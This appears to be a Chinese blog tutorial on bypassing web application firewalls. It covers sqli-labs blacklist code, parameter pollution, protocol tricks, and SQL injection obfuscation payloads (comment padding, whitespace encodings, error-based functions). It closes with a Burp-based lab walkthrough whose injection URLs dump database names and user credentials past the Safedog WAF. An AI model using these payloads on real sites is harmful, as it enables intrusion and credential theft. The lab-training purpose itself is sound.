title: 11.WAF绕过原理
date: 2020-08-24 20:09:00
categories:
现如今,应该是市面上所有的网站都会有着WAF的存在
Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
安全对抗一直都存在,有防护手段,肯定就有对应的绕过方式
熟练掌握MySQL函数和语法使用方法+深入了解中间件运行处理机制+了解WAF防护原理及方法=随心所欲绕过WAF防护
在Sqli-labs部分关卡有一些防护手段,例如Less-25
Less-25代码块位置进行了一些修改
include("../sql-connections/sql-connect.php");
if(isset($_GET['id']))
{
$id=$_GET['id']; //使用GET方法传入
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n"); //将输入文件写入result.txt
fclose($fp); //关闭文件
$id= blacklist($id); //将ID传入blacklist函数
$hint=$id;
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "";
}else
{
echo '';
print_r(mysql_error());
echo "";
}
}else
{
echo "Please input the ID as parameter with numeric value";
}
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //去掉OR(不区分大小写) i的功能就是忽略大小写
$id= preg_replace('/AND/i',"", $id); //去掉AND(不区分大小写)
return $id;
}
?>
id传入后,使用了blacklist函数过滤了or
和AND
,并且不区分大小写
由于白盒场景能够看到代码,所以可以针对绕过
由于没有代码,所以只能不断进行试探,尝试进行突破
寻找源站->争对云WAF
利用同网段->绕过WAF防护区域
使用同网段主机对目标主机进行攻击,即可绕开WAF
利用边界漏洞->绕过WAF防护区域
与方式2类似,寻找同网段是否有存在漏洞主机,找到后,使用存在漏洞的主机对目标主机进行攻击,即可绕开WAF
WAF的首要前提是保证网站服务的正常运行,故一些大的数据包如果分析,会严重拖慢网站的响应速度,这时候构造大的数据包,数据包中有攻击代码,就有可能绕过WAF检测
1.协议未覆盖绕过waf
//假设某WAF,只检测GET不请求POST,则可以进行转换请求方式
//对上传文件数据格式不进行防护
Content-Type变换:application/x-www-form-urlencoded;→multipart/form-data;
2.参数污染
比如
index.php?id=1&id=2
网站程序获取:id=2
waf获取:id=1 就不会在检测id=2后面的语句
因此可以在id=2的后面加上测试语句进行测试
可以理解为寻找语法正确可以注入但waf匹配不到的数据格式
SQL注释符绕过
使用注释符填充空格
union/**/select
union/*aaaa%01bbs*/select
union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/select
内联注释:/*!xxx*/
空白符绕过
MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*xxx*/
正则的空白符:%09,%0A,%0B,%0D,%20
Example-1: union%250Cselect
Example-2: union%25A0select
函数分割符号
concat%2520(
concat/**/(
concat%250c(
concat%25a0(
浮点数词法解析
select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0
利用error-based进行SQL注入:error-based SQL注入函数非常容易被忽略
extractvalue(1, concat(0x5c,md5(3)));
updatexml(1, concat(0x5d,md5(3)),1);
GeometryCollection((select*from(select*from(select@@version)f)x))
polygon((select*from(select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygon()
mysql特殊语法
select{x table_name}from{x information_schema.tables};
在讲fuzz与sql注入结合绕waf之前我们先来讲讲什么是fuzz,fuzz其实就是一种对请求参数的模糊测试,简单来说就是对一个接口的某个参数或多个参数用自定义的内容进行批量提交,根据接口返回内容来判断自定义内容参数对接口的影响。
每一个点都能找到绕过的方法,以注释为例,开始Fuzz
基本模式
union/*something*/select
注释符绕过
先测试最基本的:union/**/select
再测试中间引入特殊字:union/*aaaa%01bbs*/select
*最后测试注释长度:union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/select
测试环境:windows10+phpstudy+sqlilabs+安全狗
测试环境演示测试,提交攻击代码,发现被拦截
http://192.168.192.128/Less-1/?id=-1' union select 1,(version()),2 --+
使用burp抓包,因为burp可以反复提交数据,比较方便
我们可以看到url编码了,空格被替换成了20%
我们可以使用一下编码替换空格
MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*xxx*/
我们模拟替换成/*xxx*/
,发送至测试器,选择Battering ram模式(把一个payload加载到多个位置),将空格编码替换为参数
修改字符集,暴力破解,添加参数
由于是本地测试,所以线程数可以弄高一点
开始攻击,通过长度来判断是否绕过
发现长度944,打开正常返回页面,注入成功
将空格替换为/**%//*/
构造攻击url放在浏览器中进行测试
http://192.168.192.128/Less-1/?id=-1%27/**%//*/union/**%//*/select/**%//*/1,(version()),2--+
注入成功
http://192.168.192.128/Less-1/?id=-1%27/**%//*/union/**%//*/select/**%//*/1,(select/**%//*/schema_name/**%//*/from/**%//*/information_schema.schemata/**%//*/limit/**%//*/0,1),2--+
http://192.168.101.200/Less-1/?id=-1%27/*0%5e99*/union/*0%5e99*/select/*0%5e99*/1,(select/**%//*/group_concat(table_name)/**%//*/from/**%//*/information_schema.tables/**%//*/where/**%//*/table_schema=database()),2--+
http://192.168.192.128/Less-1/?id=-1%27/**%//*/union/**%//*/select/**%//*/1,(select/**%//*/concat_ws('~',username,password)/**%//*/from/**%//*/security.users/**%//*//**%//*/limit/**%//*/0,1),2--+
atabase()),2–+
[外链图片转存中...(img-Uzm2hrRc-1598498803947)]
### 查询表内容
http://192.168.192.128/Less-1/?id=-1%27/%//*/union/%///select/**%///1,(select/%//*/concat_ws(’~’,username,password)/%///from/**%///security.users/%//*//%///limit/**%///0,1),2–+
![image-20200825200702194](https://imgconvert.csdnimg.cn/aHR0cHM6Ly9za3lzdGFycnktMTI1MTE1NzI0Ny5jb3MuYXAtY2hlbmdkdS5teXFjbG91ZC5jb20vaW1nL2ltYWdlLTIwMjAwODI1MjAwNzAyMTk0LnBuZw?x-oss-process=image/format,png)